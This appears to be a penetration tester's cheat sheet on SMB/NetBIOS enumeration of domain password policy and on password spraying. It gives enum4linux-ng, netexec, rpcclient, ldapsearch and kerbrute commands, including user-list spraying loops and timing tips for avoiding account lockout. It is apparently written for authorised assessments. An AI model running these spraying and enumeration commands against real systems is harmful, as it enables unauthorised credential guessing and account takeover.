enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:
Tool
Ports
nmblookup
137/UDP
nbtstat
137/UDP
net
139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient
135/TCP
smbclient
445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMBnetexec smb <TARGET> --pass-pol
netexec smb <TARGET> -u <USER> -p <PASS> --pass-pol
# via RPCrpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo # get domain and password policy# via LDAP anon bind (Win Server 2003)# pwdProperties: password complexityldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# via netnet use \\<TARGET>\ipc$ "" /u:""net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>
# via net accountsnet accounts
NOTE: “If asking for the policy does not fit the expectations of the assessment or the client does not want to provide it, we should run one, max two, password spraying attempts (regardless of whether we are internal or external) and wait over an hour between attempts if we indeed decide to attempt two”
Brute-Force: 1 user against 1 target using many passwords (alternates passwords)
RISK of account lock d/t account lockout policy – find valid creds for user (only option or valuable account)
Spraying: many users against many targets using 1 password (alternates users)
no risk of account lockout – “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if “…you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset…”
Linux
# Check netexec -h for servicesnetexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'# via RPCfor u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done# via Kerbrutekerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS> <PASSWORD>
Local Auth
This tries local authentication instead of domain authentication. Mitigated with:
By default, the script “smartly” checks account logon policy and pulls users from the current domain (minus disabled accounts). Users can be specified with -UserList and the domain with -Domain respectively.